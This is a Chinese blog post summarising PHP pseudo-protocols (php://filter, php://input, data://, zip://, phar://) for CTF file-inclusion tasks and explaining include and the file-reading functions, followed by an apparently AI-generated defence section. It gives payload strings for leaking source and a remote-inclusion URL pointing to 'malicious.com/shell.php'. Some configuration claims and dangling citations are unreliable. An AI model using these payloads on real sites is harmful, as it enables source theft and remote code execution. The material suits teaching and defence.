伪协议小总结

本文围绕PHP展开,介绍了PHP伪协议,如需开启allow_url_fopen的php://input等,以及data、file、zip、phar协议;还阐述了PHP常用函数,像include、require等函数的作用、使用位置、执行效率及返回值等内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一.

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — 安全外壳协议 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

1.php伪协议:访问各个输入输出流

需要开启allow_url_fopen的:php://input、php://stdin、php://memory和php://temp

不需要开启allow_wrl_fopen的:php://filter

在CTF中经常使用的是php://filter和php://input

php://filter用于读取源码,php://input用于执行php代码

php://input需要post请求提交数据

php://filter可以get提交?a=php://filter/read=convert.base64-encode/resource=xxx.php

php://filter:


php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。

php://filter目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定

名称
resource=<要过滤的数据流>指定了你要筛选过滤的数据流。必选     
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符分隔可选
write=<写链的筛选列表>可以设定一个或多个过滤器名称,以管道符分隔。可选
<;两个链的筛选列表>
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。


 

2.data伪协议

data://伪协议,是数据流封装器,和php://相似,都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过包含你输入的payload来实现目的。
格式:?file=data://text/plain,payload ?>

3.file协议

file://用于访问本地文件系统

用法:file:// [文件的绝对路径和文件名]

4.zip://

zip://绝对路径\需要解压缩的文件%23子文件名  

5.phar://

类似zip,与zip协议不同的是zip协议为绝对路径,而phar协议为相对路径。

二.函数

1.include函数


可以放在PHP脚本的任意位置,一般放在流程控制的处理部分中。当PHP脚本执行到include指定引入的文件时,才将它包含并尝试执行。这种方式可以把程序执行时的流程进行简单化。当第二次遇到相同文件时,PHP还是会重新解释一次,include相对于require的执行效率下降很多,同时在引入文件中包含用户自定义函数时,PHP在解释过程中会发生函数重复定义问题。include载入成功后,返回1,失败则返回false。

2.require函数


require函数一般放在PHP脚本的最前面,PHP执行前就会先读入require指定引入的文件,包含并尝试执行引入的脚本文件。require的工作方式是提高PHP的执行效率,当它在同一个网页中解释过一次后,第二次便不会解释。但同样的,正因为它不会重复解释引入文件,所以当PHP中使用循环或条件语句来引入文件时,需要用到include。require载入成功返回1,失败无返回值。

3.include_once和require_once函数


分别与require / include作用相同,不同的是他们在执行到时会先检查目标内容是不是在之前已经导入过,如果导入过了,那么便不会再次重复引入其同样的内容。

4.highlight_file函数


highlight_file() 函数对文件进行语法高亮显示。

语法:highlight_file(filename,return) —— filename:必需。要进行高亮处理的 PHP 文件的路径。return:可选。如果设置 true,则本函数返回高亮处理的代码。

该函数通过使用 PHP 语法高亮程序中定义的颜色,输出或返回包含在 filename 中的代码的语法高亮版本。如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码,而不是输出它们。否则,若成功,则返回 true,失败则返回 false。

5.show_source函数


该函数是highlight_file函数的别名。

6.file_get_contents()

把整个文件读入一个字符串中。

该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

语法
file_get_contents(path,include_path,context,start,max_length)

7.file函数

file() 函数把整个文件读入一个数组中。与 file_get_contents() 类似,不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。如果失败,则返回 false。

语法

file(path,include_path,context)

### PHP 中与恶意伪协议相关的安全问题及防护方法 #### 背景介绍 PHP 支持多种伪协议 (pseudo-protocols),这些协议可以用于文件读取、网络请求以及其他功能。然而,如果开发者未对输入数据进行严格的验证和过滤,则可能导致严重的安全隐患,例如远程代码执行 (RCE) 或本地/远程文件包含 (LFI/RFI)[^4]。 常见的伪协议包括但不限于 `file://`、`php://input`、`phar://` 和 `data:` 协议。其中一些伪协议可能被攻击者利用来绕过安全机制或注入恶意代码。 --- #### 主要的安全风险 1. **远程文件包含 (Remote File Inclusion, RFI)** 如果应用程序允许通过 URL 动态加载外部资源,并且未对传入参数进行校验,攻击者可以通过指定恶意 URI 来引入远程脚本。例如: ```php include($_GET['page']); ``` 当用户传递如下参数时,可能导致远程文件包含漏洞: ``` ?page=http://malicious.com/shell.php ``` 2. **伪协议滥用** 某些伪协议可以直接访问敏感数据或执行命令。例如: - 使用 `php://filter` 可以对流应用过滤器并返回修改后的结果。 ```php file_get_contents('php://filter/read=convert.base64-encode/resource=config.php'); ``` 上述代码会将 `config.php` 文件的内容以 Base64 编码形式输出给攻击者[^5]。 - 利用 `zip://` 或 `phar://` 进行压缩包内的文件操作也可能成为潜在威胁。 3. **跨站点请求伪造 (CSRF)** 结合上述引用中的描述[^2],即使某些接口仅限于 POST 请求,但如果存在 CSRF 漏洞,攻击者仍可通过诱导用户点击链接等方式完成非法操作。 --- #### 防护措施 为了防止因伪协议引发的安全隐患,建议采取以下策略: 1. **禁用危险函数** 对于高危函数如 `include()`、`require()`、`fopen()` 等,在调用前需确保其路径来源于可信源。必要时可完全屏蔽特定伪协议支持: ```ini allow_url_fopen = Off allow_url_include = Off ``` 2. **白名单验证** 实施严格的输入校验逻辑,只接受预定义范围内的合法值作为动态载入模块的依据。比如限定页面跳转地址只能指向内部目录下的固定几个选项之一: ```php $allowed_pages = ['home', 'about', 'contact']; if (!in_array($_GET['page'], $allowed_pages)) { die('Invalid page request.'); } include($_GET['page'] . '.php'); ``` 3. **强制 HTTPS 加密通信** 根据 HSTS 头部配置指南[^3],设置合适的最大有效期 (`max-age`) 并覆盖所有子域 (`includeSubDomains`),从而减少中间人劫持的风险: ```apacheconf Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains" ``` 4. **日志记录与监控** 启用详细的错误报告并将异常行为写入审计日志以便后续分析排查原因所在。同时定期审查服务器上的可疑活动迹象。 5. **框架级防御** 若项目依赖第三方库构建业务流程,则优先选用那些内置完善保护机制的产品版本号尽可能保持最新状态以免遭受已知缺陷影响。 --- ```php // 示例:如何安全地处理用户提供的URL参数 function safeInclude($paramName){ global $_GET; // 定义允许包含的文件列表 $whitelist = array( 'index', 'login', 'logout' ); // 获取并清理输入变量 $requestedFile = isset($_GET[$paramName])?trim(strip_tags($_GET[$paramName])):''; // 检查是否匹配白名单项 if(in_array($requestedFile,$whitelist)){ require_once "$requestedFile.php"; }else{ echo "Access denied."; } } safeInclude('module'); ``` --- #### 总结 通过对 PHP 应用程序实施全面细致的安全加固方案能够有效抵御基于伪协议发动的各种攻击手段。这不仅涉及技术层面的具体实现细节调整还需要建立健全管理制度保障整体环境处于可控范围内长期稳定运行下去。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值